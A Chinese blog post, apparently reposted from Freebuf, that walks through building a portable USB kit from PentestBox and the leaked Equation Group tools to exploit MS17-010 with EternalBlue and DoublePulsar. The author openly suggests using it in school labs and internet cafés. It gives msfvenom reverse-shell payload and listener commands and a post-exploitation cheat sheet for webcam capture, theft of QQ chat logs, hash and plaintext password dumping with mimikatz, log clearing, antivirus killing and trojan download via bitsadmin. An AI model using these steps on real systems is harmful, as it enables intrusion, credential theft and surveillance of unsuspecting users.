利用pentestbox打造ms17-010移动"杀器"
本文首发Freebuf,属原创奖励计划,未经许可禁止转载。
链接:http://www.freebuf.com/articles/system/132274.html
一. 前言
前段时间Shadow Broker披露了 Windows大量漏洞,甚至爆出黑客组织 Equation Group 对于Windows 远程漏洞 MS17-010 的利用工具,该漏洞影响范围之广,堪称杀器。可以看看官方通告https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
于是想着把攻击环境移植到u盘里,然后比如去学校机房,网吧。。。。。。
这里分享一下个人的移植过程,以及在使用攻击代码过程中遇到的问题。
二. 环境移植过程
思路就是利用现成的神器pentestbox,向里添加攻击代码以及其运行需要的pytho环境
Pentest Box是一款Windows平台下预配置的便携式开源渗透测试环境,集成了各种编译运行环境,具体的可以到网上了解一下。
1. 工具准备:
Pentestbox:
方程式工具包:
EQGRP_Lost_in_Translation
https://github.com/x0rz/EQGRP_Lost_in_Translation/tree/master
python环境
必须在Python2.6 和 pywin32-221环境下,如果你用其他环境,会报各种诸如模块/dll缺失等错误

Python2.6 和 pywin32-221位数需要相同,我用的是32位的
Python2.6.6 (32)
下载链接:https://www.python.org/download/releases/2.6.6/
pywin32-221(32)
下载链接:
2. Pentestbox下python2.6环境配置
分别安装,然后你会得到攻击包运行的python2.6环境

在Python26\Lib\site-packages目录下,你会发现插件也已经安装

然后把python26这个文件夹拷贝到你的pentestbox环境变量目录下:Pentestbox\base
刚才你也可以直接装到pentestbox\base下

然后我们添加python2.6环境变量,在Pentestbox \config\alias文件中加一行
python26="%pentestbox_ROOT%\base\Python26\python.exe" $*

然后我们启动pentestbox,由于pentestbox通过线程注入挂钩cmd.exe来调用系统命令,因此杀软可能会提示警告,信任即可。

这个时候,我们运行python26可以看到环境配置成功

3. 漏洞利用工具配置
我们下载EQGRP_Lost_in_Translation工具包,修改windows目录下fb.py,去除不必要的代码


然后我们把windows文件夹复制到pentestbox目录下

这里我把windows里的文件放到pentestbox根目录下的ms17-010文件夹内

我们进入ms07-010目录并执行python26 fb.py

这样我们就可以启动攻击程序了

三. 攻击示例
攻击机:192.168.1.106
靶机: 192.168.1.111 windows x64 SP1
我们先用msf生成dll木马,用于控制目标
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=9999 -f dll > 9999-64.dll
Pentestbox里自带的metasploit框架我在使用总是时出现问题,我一般不用它,我通常是在自己的vps服务器进行监听
本地测试时候可以找一台kali攻击机
dll木马我们可以提前生成好放在u盘里带着,随时备用*_*
接下来我们用Msf进行监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP (这里填写vps的内网ip,记得开放监听端口)
set LPORT 9999
set stagerverifysslcert false
exploit -j

如果没有设置set stagerverifysslcert false,获取shell的时候可能会出现这样的情况

回到fb.py中,开始攻击
[?] Default Target IP Address [] : 攻击目标
[?] Default Callback IP Address [] : 本机ip
[?] Use Redirection [yes] : no 是否重定向
[?] Base Log directory [D:\logs] : 是否输出日志
然后创建一个项目实例

如果你之前创建过实例,可以选择它,改设置,也可以重新创建一个

输入命令 use 可以查看我们利用的exp模块
我们使用EternalBlue模块,use EternalBlue

下面一直回车就行。。。

选择攻击目标的系统

这里会询问你payload传输方式 选择1,感觉更稳定些


继续回车,确认信息


成功之后,我们使用doublepulsar模块

继续一路回车

选择协议

选择目标系统

选择攻击方式,我们利用dll木马

设置dll木马路径,我已经提前生成好放在u盘里随身携带,随时备用~


然后设置要注入的程序,默认是lsass.exe

这里注入的进程会对目标造成影响,也试了几个其他程序,比如注explorer时候,会弹出一个报错框
注入其他进程,有时候或多或少都会出那么点问题


然后是一路回车



最后一步执行攻击

Msf这里成功获取shell


截个屏看看


一个正在成长中的团队,欢迎交流,分享,合作~
四. 后渗透辅助命令
配合下面的一些命令,happy to play~
meterpreter
upload /root/nc.exe c:\\windows\\system32 #上传文件
search –d c:\\windows –f *.mdb #在目标主机Windows目录中搜索文件s
执行程序
execute -H -i -f cmd.exe #隐藏执行cmd并与之交互
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt” #隐藏执行,并显示虚假运行程序
我们可以用远控生成一个木马传过去



例:下载目标聊天记录到本地/tmp目录下,可用Qqlogger查看
download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /tmp
run webcam -p 图片保存路径 #开启目标摄像头并截图
run packetrecorder –i 会话序号 #捕获流量数据包.pcap
提权
use privs
getsystem
getuid
clearev --清除日志
run killav --干掉杀软
文件关联
改变文件类型关联DLL到 txt文件类型: assoc .dll=txtfile
改变文件类型关联EXE 到png文件类型: assoc .exe=pngfile
改变文件类型关联MP3到jpg文件类型: assoc .mp3=jpgfile
Hash获取
hashdump或run hashdump或run smart_hashdump
>run post/windows/gather/hashdump
>run /windows/gather/smart_hashdump --可绕过windows UAC控制
用kiwi获取明文密码:
meterpreter>load kiwi
meterpreter> creds_all
Metaspolit中使用Mimikatz:
使用metasploit内建的命令:
meterpreter > load mimikatz
meterpreter > msv #msv creden
meterpreter > kerberostials #kerberos credentials
使用mimikatz自带的命令:
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>
利用windows命令下载文件
bitsadmin /transfer mydownJob /download /priority normal “http://url/muma.exe" "F:\muma.exe "
详细用法可参考:https://technet.microsoft.com/zh-cn/library/cc753856(v=ws.10).aspx
最后:
今天下午有人在i春秋发布了批量利用程序
https://bbs.ichunqiu.com/thread-21863-1-1.html~
利用pentestbox打造ms17-010移动"杀器"的更多相关文章
- 打造自己的html5视频播放器
前段时间重新学习了一下html5的video部分,以前只是停留在标签的使用上,这一次决定深入了解相关的API,并运用这些API打造一个简单的视频播放器.所谓“打造自己的”,就是要自己重写video标签 ...
- ORM “杀器”之 JOOQ
ORM “杀器”之 JOOQ IN 后端编程,JAVA,敏捷开发,数据库 JOOQ是啥? JOOQ 是基于Java访问关系型数据库的工具包,轻量,简单,并且足够灵活,可以轻松的使用Java面向对象语法 ...
- [NewLife.XCode]反向工程(自动建表建库大杀器)
NewLife.XCode是一个有10多年历史的开源数据中间件,支持nfx/netstandard,由新生命团队(2002~2019)开发完成并维护至今,以下简称XCode. 整个系列教程会大量结合示 ...
- 一文读懂机器学习大杀器XGBoost原理
http://blog.itpub.net/31542119/viewspace-2199549/ XGBoost是boosting算法的其中一种.Boosting算法的思想是将许多弱分类器集成在一起 ...
- 离群点检测与序列数据异常检测以及异常检测大杀器-iForest
1. 异常检测简介 异常检测,它的任务是发现与大部分其他对象不同的对象,我们称为异常对象.异常检测算法已经广泛应用于电信.互联网和信用卡的诈骗检测.贷款审批.电子商务.网络入侵和天气预报等领域.这些异 ...
- H5打造属于自己的视频播放器(JS篇2)
回顾 算了不回顾了 直接搞起,打开JS1中写的bvd.js 播放视频 播放按钮隐藏 视频开始播放 当点击播放按钮的时候,播放按钮将会隐藏,播放视频,这个不难,在JS1中我们就已经实现.但我们改变一下思 ...
- 怎样利用App打造自明星实现自盈利
怎样利用App打造自明星实现自盈利 1.了解各个概念 为了大家都能看懂这篇文章,先说明几个概念. App(Application):能够在移动设备上使用,满足人们咨询.购物. ...
- 使用docker-compose 大杀器来部署服务 上
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
- 使用docker-compose 大杀器来部署服务 上(转)
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
随机推荐
- SpringBoot整合Mybatis完整详细版
记得刚接触SpringBoot时,大吃一惊,世界上居然还有这么省事的框架,立马感叹:SpringBoot是世界上最好的框架.哈哈! 当初跟着教程练习搭建了一个框架,传送门:spring boot + ...
- BZOJ.4558.[JLOI2016]方(计数 容斥)
BZOJ 洛谷 图基本来自这儿. 看到这种计数问题考虑容斥.\(Ans=\) 没有限制的正方形个数 - 以\(i\)为顶点的正方形个数 + 以\(i,j\)为顶点的正方形个数 - 以\(i,j,k\) ...
- 搭建 LAMP 环境
1,搭建 MySQL 数据库 .安装 MySQL 使用 yum 安装 MySQL: yum install mysql-server -y 安装完成后,启动 MySQL 服务: service mys ...
- Compiling U-Boot
To configure and build U-Boot for a target board "cd" to, or copy the source tree to somew ...
- [CF575B]Bribes
[CF575B]Bribes 题目大意: 一棵\(n(n\le10^5)\)个结点的树,有些边有方向,对于每条边,如果第\(i\)次逆向走过这条边,就会产生\(2^{i-1}\)的代价.开始在\(1\ ...
- CSS-三角形及其原理
CSS中三角形在网页中比较常见,以前是图片,不过现在基本上都是通过CSS可以完成,实现比较简单,我们可以看一组简单的三角形效果: 其实实现起来比较简单,通过空div然后设置宽高为0,之后可以四周bor ...
- CY7C68013 USB接口相机开发记录 - 第四天:上位机编写1
前面学习了USB相机硬件固件.设备驱动,可以实现USB设备识别.数据发送的功能.然后,非常重要的一部分,USB设备发出的数据,我要怎么接受,怎么查看发送的数据是否是正确的.网上百度了下,大部分人都使用 ...
- 第一篇随笔 - Hello world!
第一篇随笔 - Hello world! 第一篇随笔 - Hello world! 第一篇随笔 - Hello world! 第一篇随笔 - Hello world! 第一篇随笔 - Hello wo ...
- WebApi路由解析增加版本控制
1.自定义路由解析类 public class VersionHttpControllerSelector : IHttpControllerSelector { private const stri ...
- JS_高程3.基本概念(4)操作符
ECMA-262用于操作数据值的操作符包括: 算术操作符 位操作符 关系操作符 相等操作符 ECMAScript操作符的不同之处在于:它能够适用于很多值,包括字符串,数字值,布尔值,甚至是对象.(在应 ...